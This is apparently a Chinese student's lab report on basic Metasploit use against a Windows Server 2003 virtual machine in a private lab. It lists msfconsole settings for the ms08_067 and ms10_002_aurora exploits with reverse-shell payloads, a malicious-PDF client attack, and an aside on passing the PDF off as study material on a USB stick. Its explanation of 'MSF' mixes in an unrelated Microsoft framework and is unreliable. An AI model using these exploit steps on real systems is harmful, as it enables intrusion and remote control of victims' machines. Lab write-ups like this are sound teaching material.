20155332《网络对抗》Exp5 MSF基础应用
1.实验环境
- kali虚拟机,作为攻击机,Ip地址172.16.2.130
- windows server 2003 sp3虚拟机,作为靶机,IP地址172.16.2.160
- 两个虚拟机的网络都连接设置为桥接模式。
2.实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.1一个主动攻击实践,如ms08_067; (1分)
1.2 一个针对浏览器的攻击,如ms11_050;(1分)
1.3 一个针对客户端的攻击,如Adobe;(1分)
1.4 成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
3.实验步骤
3.1 辅助模块
1.查看辅助模块
2.选择auxiliary/scanner/didcovery/arp_sweep,用arp请求扫描局域网活跃的主机,寻找攻击目标
3.set Rhost 172.16.2.130/24(扫描172.16.2.——范围所有的主机)
172.16.2.167是我的另一台靶机,装有win7系统,暂时不用它。
172.16.2.160是这次实验的靶机。
4.其他辅助模块的使用
3.2 主动攻击☞ ms8_067漏洞
-1 首先进入msfconsole
- 2 使用search查看所有用来可以攻击的模块,
我们可以看到,有1749个exploits,1002个auxiliary,536个payloads。
是不是有点眼花缭乱,无从下手?还是那句话,
“弱水三千,只取一瓢饮;娇玫万朵,独摘一枝怜;满天星斗,只见一颗芒;人海茫茫,唯系你一人”,
一个漏洞,足矣!
爱情如此,黑客如此,人生亦如此。美好的东西很多,要珍惜眼前的那一个。
坚定的选择ms8_067.
info 来查看详细的信息
介绍一下smb是什么:
服务器消息区块(英语:Server Message Block,缩写为SMB,服务器消息区块),又称网络文件共享系统(英语:Common Internet File System,缩写为CIFS),一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够计算机文件、打印机、串行端口和通讯等资源。它也提供经认证的进程间通信机能。它主要用在装有Microsoft Windows的机器上,在这样的机器上被称为Microsoft Windows Network。
show options来查看应该设置哪些参数。
show payloads 查看可以选择的攻击载荷
show targets 查看可以攻击的靶机系统有哪些
set payload generic/shell_reverse_tcp
set RHOST 172.16.2.160(靶机ip)
set LHOST 172.16.2.130(自己的iP)
set RPORT 445
set LPORT 5332
set target 0
万事具备,只欠东风,exploit 开始攻击。
3.3 浏览器攻击
寻找漏洞是个很费时间的事情。
首先,不同的系统漏洞不一样。
其次,不同的浏览器漏洞也不一样。
再次,系统打了补丁和没打补丁不一样。
最后,系统设置了什么安全策略,浏览器设置了什么安全策略,都不一样
总之,变数太多,以上任何一点,都直接决定了你能否攻击成功。
所以,要给自己的靶机系统以及安装的浏览器,“量身打造”,“量体裁衣”,“私人订制”一个漏洞,是很花费时间和精力的。
我只能抱着试试看的态度,来做这个实验了。至于为什么不用老师提供的镜像虚拟机,是因为我觉得做实验不一定非要成功。
在学习的路上,失败或许比成功学到的东西更多。
试了很多次,都没有成功。这是最后一次尝试的过程记录。
能不能成功,我都可以说,努力过,不后悔。
-
- search ms10,查看10年发布了哪些漏洞
-
- info 【漏洞名】,查看漏洞信息
经过筛选,我选择exploit/windows/browser/ms10_002_aurora
我相信自己的选择是正确的
- 3 use exploit/windows/browser/ms10_002_aurora
同时打开kali的web服务器
set payload generic/shell_reverse_tcp
set LHOST 172.16.2.130
exploit 等待靶机上钩
-4 在靶机win server 打开浏览器访问
在kali上,可以看见,连接成功了。
不禁想起冰心的诗歌:
成功的花,
人们只惊羡她现时的明艳!
然而当初她的芽儿,
浸透了奋斗的泪泉,
洒遍了牺牲的血雨。
寻找了多少漏洞,经历多少次尝试,花了多少时间,自己知道。功夫不负有心人。
3.4 客户端攻击
set 设置好参数
生成一个PKI.pdf,拷贝到靶机上然后打开,在kali就可以控制靶机了。
说实话,在实际中如何把这个东西弄到别人电脑里真不好说,用U盘拷过去?说这是PKI复习资料……
要是被发现了,以后就很难办了,还得做长远的打算
所以说,最难的不是技术的问题,而是人的问题。
3.6
3.5
4.报告内容:
4.1.基础问题回答
-
4.1.1用自己的话解释什么是exploit,payload,encode.
- exploit是指攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞所进行的攻击行为, 包括利用缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。按照所利用的安全漏洞所在的位置分为主动渗透攻击(攻击某个系统服务),被动渗透攻击(攻击某个客户端应用)。
- payload:攻击载荷,就是目标系统在被渗透攻击之后去执行的代码一段指令或称为shellcode。
- encode:编码器,确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”;改变特征码,对攻击载荷进行“免杀”处理,躲避防火墙和入侵检测
-
4.1.2 补充知识
(1)MSF
MSF是一套大型系统开发指南,它描述了如何用组队模型、过程模型和应用模型来开发Client/Server结构的应用程序,是在微软的工具和技术的基础上建立并开发分布式企业系统应用的参考。
(2)metasploit
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
(3) metasploit的特点
这种可以扩展的模型将负载控制,编码器,无操作生成器和漏洞整合在一起,使 Metasploit Framework成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的shellcode,并且不断更新。最新版本的 MSF包含了750多种流行的操作系统及应用软件的漏洞,以及224个 shellcode。作为安全工具,它在安全检测中用着不容忽视的并为漏洞自动化探测和及时检测系统漏洞提供了有力保障。Metasploit自带上百种漏洞,还可以在online exploit building demo(在线漏洞生成演示)上看到如何生成漏洞。这使自己编写漏洞变得更简单,它势必将提升非法shellcode的水平,并且扩大网络阴暗面。与其相似的专业漏洞工具,如Core Impact和Canvas已经被许多专业领域用户使用。Metasploit降低了使用的门槛,将其推广给大众。
4.2.实践总结与体会
渗透测试的核心是找漏洞。大到一个系统,小到一个C语言程序,漏洞几乎是不可避免的。
由于我经常做一些项目,对此深有体会。
在开发项目时,由于加班熬夜赶进度,写的代码一般都是能编译,能运行,能达到要求就行。
连算法的复杂、运行效率都不考虑,怎么顾得上检查代码是否有漏洞,是否安全呢?
这样的软件或程序,给君子用当然可以,但给了小人,肯定会惹出是非来。
所以,被攻击是必然的。不是开发者水平太差,能力不足,而是他们真的是不想考虑的那么多,因为,开发项目真的很累。
我有时想,攻击者真的应该有一种负罪感。别人为了养家糊口写一点代码,让你用还不行,你还非得利用其中的漏洞来干一些坏事,不仅伤害了用户,还让开发者不得安宁,得连夜升级阮籍版本,打补丁。多少个美好的周末,幸福的夜晚,就毁在哪些黑客手中。
他们自己不开发程序,而是找一些漏洞来坐收渔利,真的太自私了。
话说回来,矛盾是普遍存在的。就得矛盾解决了,新的矛盾又会产生。所以,不管怎样,还是要正视软件漏洞的存在,尽量避免被攻击。
这次实验本该上周就做完的,但因家里有事,回家了几天,所以现在才写完这篇博客。今天是爷爷的头七,家乡远在千里之外,不能回去看爷爷,心里好难受。遥遥祭拜,希望爷爷在那边安好。
4.3.离实战还缺些什么技术或步骤?
没有攻击正最新的系统,都是老系统,用的人很少。如果能攻击win10或者win8的漏洞,在实战中或许应用更广。